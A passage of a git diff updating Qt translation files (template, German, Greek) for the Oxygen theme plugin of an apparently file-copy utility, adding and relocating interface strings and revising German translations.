+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
<translation type="unfinished"></translation>
</message>
-</context>
-<context>
- <name>options</name>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/Languages/de/translation.ts b/plugins/Themes/Oxygen/Languages/de/translation.ts
index f1f2eee..34c8bef 100644
--- a/plugins/Themes/Oxygen/Languages/de/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/de/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation>Kaufe die Ultimate Version um die Entwicklung zu finanzieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
- <translation>Die Datei %1/%2, Größe:%3/%4</translation>
+ <translation>Datei %1/%2, Größe:%3/%4</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation>Zu kopierende Dateien</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation>Zu verschiebende Dateien</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Nicht schließen, wenn Fehler aufgetreten sind</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation>Niemals schließen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation>Immer schließen</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation>Dateiname, 0KB</translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation>Farbe auswählen</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation>Nicht schließen, wenn Fehler aufgetreten sind</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation>Niemals schließen</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation>Immer schließen</translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation>Wählen Sie eine Farbe</translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,179 +91,251 @@
<translation>Von:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
- <translation>Auf:</translation>
+ <translation>Nach:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
- <translation>Shutdown wird, wenn fertig</translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation>0KB/sec</translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
- <translation>Mehr</translation>
+ <translation>&amp;Mehr</translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
- <translation>Pause</translation>
+ <translation>&amp;Pause</translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
- <translation>überspringen</translation>
+ <translation>Über&amp;springen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
- <translation>Stornieren</translation>
+ <translation>Abbrechen (&amp;C)</translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
<source>Limit copy speed at:</source>
- <translation>Begrenzen Sie Kopiergeschwindigkeit bei:</translation>
+ <translation type="obsolete">Kopiergeschwindigkeit begrenzen bei:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
- <translation>Unbegrenzt</translation>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
+ <translation>Dateiliste</translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
- <translation>kopieren Liste</translation>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
+ <translation>Ausgewählte Einträge löschen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
- <translation>Ctrl+F</translation>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
+ <translation>Dateiliste exportieren</translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
+ <translation>Dateiliste importieren</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="621"/>
<source>Previous</source>
<translation>Vorherige</translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
+ <location filename="../../interface.ui" line="628"/>
<source>Next</source>
<translation>Nächste</translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
- <translation>Optionen</translation>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
+ <translation>Darstellungsoptionen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
- <translation>kopieren Sie Ende</translation>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
+ <translation>Ausgewählte Einträge an den Listenanfang verschieben</translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
- <translation>Am Ende der Kopie: </translation>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
+ <translation>Am Ende des Transfers schließen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
- <translation>Schließen Sie nicht, wenn Fehler gefunden werden</translation>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
+ <translation>Begrenze Kopiergeschwindigkeit auf:</translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
- <translation>Verschließen Sie niemals</translation>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
+ <translation>Ausgewählte Einträge einen Platz nach oben verschieben</translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
- <translation>schließen Sie immer</translation>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
+ <translation>Ausgewählte Einträge einen Platz nach unten verschieben</translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
- <translation>Tempolimit</translation>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
+ <translation>Ausgewählte Einträge an das Listenende verschieben</translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
- <translation> KB/s</translation>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
+ <translation>Datei/Ordner hinzufügen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
- <translation>Datei-Kollisionen</translation>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
+ <translation>In Dateiliste suchen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
- <translation>Was ist zu tun: </translation>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
+ <translation>Fehlerprotokoll</translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
- <translation>kopieren Fehler</translation>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
+ <translation>Fehlgeschlagene Dateien exportieren</translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
- <translation>Schnittstelle</translation>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
+ <translation>Quelle</translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
- <translation>Zeige Geschwindigkeit als Haupt-Informationen</translation>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
+ <translation>Ziel</translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation>Datei hinzufügen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation>Ordner hinzufügen</translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
- <translation>Bewegen Sie Datei(en)</translation>
+ <translation>Datei(en) verschieben</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
- <translation>bewegen Sie Ordner</translation>
+ <translation>Ordner verschieben</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
- <translation>Kopieren Sie die Datei(en)</translation>
+ <translation>Datei(en) kopieren</translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
- <translation>kopieren Sie das Verzeichnis</translation>
+ <translation>Verzeichnis kopieren</translation>
</message>
</context>
<context>
- <name>options</name>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation>Zweifachen Fortschritt anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation>Geschwindigkeitsbegrenzungsschieberegler anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation>Benutzung</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation>Standardmäßig &quot;Mehr&quot; Informationen anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation>Beim Schließen ins Systray minimieren</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation>Am Ende des Vorgangs</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation>Begrenze Übertragungsgeschwindigkeit auf</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation>Zum Bearbeiten der Farbe klicken</translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">Am Ende der Kopie: </translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">Kopiergeschwindigkeit begrenzen bei:</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation> KB/s</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation>Informationen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation>Anzeige</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation>Geschwindigkeit als Fortschrittsbalken anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation>Farbe des Fortschrittsbalken</translation>
+ </message>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
- <translation>Zeige Geschwindigkeit als Haupt-Informationen</translation>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
+ <translation>Fortschritt im Fenstertitel zeigen</translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
- <translation>Beginnen Sie mit mehr-Taste gedrückt</translation>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
+ <translation>Fenster immer im Vordergrund</translation>
</message>
</context>
</TS>
diff --git a/plugins/Themes/Oxygen/Languages/el/translation.ts b/plugins/Themes/Oxygen/Languages/el/translation.ts
index 0708252..ae86b54 100644
--- a/plugins/Themes/Oxygen/Languages/el/translation.ts
+++ b/plugins/Themes/Oxygen/Languages/el/translation.ts
@@ -4,15 +4,84 @@
<context>
<name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="184"/>
+ <location filename="../../interface.cpp" line="240"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="310"/>
<source>File %1/%2, size: %3/%4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="737"/>
+ <location filename="../../interface.cpp" line="524"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="526"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="947"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="948"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="949"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="951"/>
<source>File Name, 0KB</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../interface.cpp" line="1134"/>
+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>interfaceCopy</name>
@@ -22,178 +91,238 @@
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
+ <location filename="../../interface.ui" line="65"/>
<source>To:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
- <source>Previous</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
- <source>Next</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="621"/>
+ <source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="628"/>
+ <source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
